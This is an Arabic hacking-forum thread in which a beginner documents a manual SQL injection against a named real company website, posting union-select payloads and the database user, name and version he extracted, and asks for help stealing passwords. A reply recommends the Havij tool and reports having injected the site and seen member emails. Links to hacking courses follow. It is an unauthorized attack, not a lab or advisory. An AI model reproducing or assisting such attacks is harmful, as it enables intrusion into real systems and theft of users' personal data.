انا مبتدأ . واريد من يساعدني لاكمال هذا الاختراق

السلام عليكم

انا مبتدأ . واريد من يساعدني لاكمال هذا الاختراق

هذا الموقع مصاب أنظر :

http://www.comprousa.com/en/news_view.php?id=36

ثم هكذا : اضافة (') للتأكد من ان الموقع مصاب

الموقع مصاب

اذن : اضافة +order+by+20--

يتضح لنا انه يتغيير المحتوى عند +order+by+4--

اذن : سوف اقوم باضافة : +union+select+1,2,3,4--

لاظهار اسم مستخدم القاعدة قمت باضافة : user() مكان رقم 2

اسم مستخدم القاعدة : Comprous_compro@Localhost

لان

لاظهاراسم القاعدة اضفت database() مكان user()

النتيجة :

اسم القاعدة : Comprous_wheretobuy

لاظهار اصدار القاعدة قمت باضافة @@version مكان database()

اصدار القاعدة : 5.5.30-Log

هذه الاشياء فقط التي تمكنت من الحصول عليها

ارجو من الخبراء مساعدتي للحصول على password

فأنا لا أزال مبتدأ

وشكراا

أخي الكريم
بالنسبة إليك كمبتدأ
فالإستغلال اليدوي لثغرات السكيول sql صعبة عليك
مع أنك مبتدأ أظنك تعرف جيدا برنامج havij
فهو برنامج سهل تقوم بوضع الموقع المصاب في خانة بالأعلى وتضغط start
ويقوم أتوماتيكيا بحقن الموقع في وقت قصير وبدون تعب
بعد استعمال البرنامج وحقن الموقع
وجدت أنه ليس هناك table خاص بالباسووردات
فقط les tables الخاصة بالموقع من صفحات وغيرها
يمكنك تصفحها بحرية
إضافة إلى إميلات الأعضاء ودولهم
أما الباسووردات فلا وجود لها
الصورة التالية توضح ما قلت لك :

كما ترى.. لي تحتهم سطر أحمر هم les tables الخاصة بالموقع
ولا وجود لجدول خاص بالأعضاء

يمكنك متابعة دروسنا لرؤية الطرق الأخرى الأحسن لاختراق واستهداف المواقع

» لاتفوتكم مجموعة كتب عربية في الاختراق
» تعلم الاختراق المتقدم بالصور
» دورة للميتا سبلوت - الاختراق المستهدف + مقدمه
» الاختراق على طريقة المحترفين (****sploit Browser Autopwn)